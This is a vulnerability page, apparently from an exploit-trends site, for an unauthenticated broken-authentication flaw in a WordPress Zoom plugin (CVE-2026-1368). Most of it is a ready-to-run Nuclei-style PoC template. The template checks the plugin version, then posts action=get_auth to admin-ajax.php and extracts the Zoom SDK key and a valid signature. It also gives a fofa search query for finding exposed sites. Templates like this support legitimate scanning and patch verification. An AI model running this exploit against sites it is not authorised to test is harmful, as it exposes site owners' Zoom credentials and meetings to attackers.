CVE-2026-1368: Video Conferencing with Zoom API < 4.6.6 - Unauthenticated SDK Signature Generation

2026-05-09 Zoom API PoC Public

Description

Zoom WordPress plugin < 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.

PoC

id: CVE-2026-1368

info:
  name: Video Conferencing with Zoom API < 4.6.6 - Unauthenticated SDK Signature Generation
  author: 0x_Akoko
  severity: high
  description: |
    Zoom WordPress plugin < 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.
  impact: |
    Unauthenticated attackers can generate valid SDK signatures and retrieve the Zoom SDK key, potentially compromising meeting security.
  remediation: |
    Update to version 4.6.6 or later.
  reference:
    - https://wpscan.com/vulnerability/218e6655-c5aa-4bce-86b2-cad3bb20020c/
    - https://wordpress.org/plugins/video-conferencing-with-zoom-api/
    - https://plugins.trac.wordpress.org/browser/video-conferencing-with-zoom-api/
  classification:
    cve-id: CVE-2026-1368
    epss-score: 0.01211
    epss-percentile: 0.66925
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/video-conferencing-with-zoom-api/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,zoom,vczapi,unauth,intrusive

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/video-conferencing-with-zoom-api/README.txt"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\d.]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Video Conferencing with Zoom")'
          - 'compare_versions(version, "<4.6.6")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get_auth&meeting_id=123456789

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "\"sig\":\"eyJ", "\"type\":\"sdk\"")'
        condition: and

    extractors:
      - type: json
        name: sdk_key
        json:
          - '.data.key'

      - type: json
        name: sdk_signature
        json:
          - '.data.sig'
# digest: 4a0a00473045022058fdafe803ab35bc424f1f0621a78271b7e056d7047637c59fef4d3b34a156e4022100884ba9e071b700b291d851f8fd957334c5ebc81cba98b5c10216b06ff3c9c537:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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